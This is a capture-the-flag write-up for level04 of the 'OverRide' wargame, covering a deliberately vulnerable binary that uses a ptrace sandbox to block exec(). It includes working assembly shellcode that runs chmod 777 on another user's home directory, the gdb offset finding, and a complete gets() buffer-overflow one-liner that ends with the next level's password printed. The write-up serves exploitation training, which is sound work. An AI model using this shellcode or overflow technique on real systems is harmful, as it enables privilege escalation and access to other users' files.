./level04

```
RELRO           STACK CANARY     NX            PIE          RPATH     RUNPATH     FILE
Partial RELRO   No canary found  NX disabled   No PIE       No RPATH  No RUNPATH  /home/user/level04/level04

level04@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int main(void)
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if (child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        while (1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status))
            {
                puts("child is exiting...");
                break;
            }

            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            if (syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}
```

This **program** establishes a simple debugging environment that prevents the execution of the **exec() system call** within a **child** process.

It employs the **ptrace** system call to **trace system call** invocations by the child. When the child process attempts to execute **exec()**, which is identified by the **syscall** 11, the parent process terminates the child. This effectively prevents the typical exploitation technique where **shellcode** would use **exec()** to spawn a **shell**, thus mitigating a common **security threat**.

However, the program's security measures are focused narrowly on the **exec()** system call. It does not account for other system calls, for example the child process is still capable of using the **chmod()** system call to change file permissions.
We can exploit this to alter permissions of the **level05 home folder**.

To achieve this, we'll craft a **shellcode**—derived from our **assembly** program—that, when injected, will change the **level05** directory's access rights:

```asm
section.text
    global _start

_start:
    xor eax, eax
    push eax
    push 0x35306c65             ; el05
    push 0x76656c2f             ; /lev
    push 0x73726573             ; sers
    push 0x752f656d             ; me/u
    push 0x6f682f2f             ; //ho

    mov ebx, esp                ; EBX now points to the start of the string
    mov al, 0x0f                ; Load the syscall number for 'chmod' (15) into AL
    mov cx, 777o                ; Move the octal value 777 (rwx for all)
    int 0x80

    mov al, 1                   ; Syscall number for exit
    xor ebx, ebx                ; Return 0
    int 0x80
```

We assemble the code with **nasm** and link it with **ld**:

```
$ nasm -f elf32 chmod.asm -o chmod.o && ld -m elf_i386 -o chmod chmod.o
$ objdump -d chmod | grep -Po '\s\K[\da-f]{2}(?=\s)' | tr -d '\n' | sed 's/\
([0-9a-f]\{2\}\)/\\x\1/g' | sed 's/^/"/' | sed 's/$/"/'

"\x31\xc0\x50\x68\x65\x6c\x30\x35\x68\x2f\x6c\x65\x76\x68\x73\x65\x72\x73\x68\
x6d\x65\x2f\x75\x68\x2f\x2f\x68\x6f\x89\xe3\xb0\x0f\x66\xb9\xff\x01\xcd\x80\
xb0\x01\x31\xdb\xcd\x80"
```

With our **shellcode** ready, we'll exploit the vulnerable **gets(buffer)** function to trigger a *buffer overflow*, thereby overwriting the **main** function's **return address** to redirect execution flow to our **shellcode's** entry point. With the help of **gdb**, we'll determine the buffer's starting position and the correct offset:

```
level04@OverRide:~$ exec env - gdb -ex 'unset env LINES' -ex 'unset env
COLUMNS' --args ./level04
(gdb) set follow-fork-mode child
(gdb) b gets
Breakpoint 1 at 0x80484b0
(gdb) run
Starting program: /home/users/level04/level04
[New process 1917]
Give me some shellcode, k
[Switching to process 2044]

Breakpoint 1, 0xf7e91e30 in gets () from /lib32/libc.so.6
(gdb) p/x $eax
$1 = 0xffffdda0 << buffer[128]
(gdb) c
Continuing.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1917]
0x41326641 in ?? () << offset = 156

level04@OverRide:~$ {
python -c '
shellcode="\x31\xc0\x50\x68\x65\x6c\x30\x35\x68\x2f\x6c\x65\x76\x68\x73\x65\
x72\x73\x68\x6d\x65\x2f\x75\x68\x2f\x2f\x68\x6f\x89\xe3\xb0\x0f\x66\xb9\xff\
x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
print(shellcode + "A" * (156 - len(shellcode)) + "\xa0\xdd\xff\xff")'
} | env - PWD=$PWD ~/level04 &&
cat /home/users/level05/.pass

Give me some shellcode, k
child is exiting...
3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN

level04@OverRide:~$ su level05
Password: 3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN

level05@OverRide:~$
```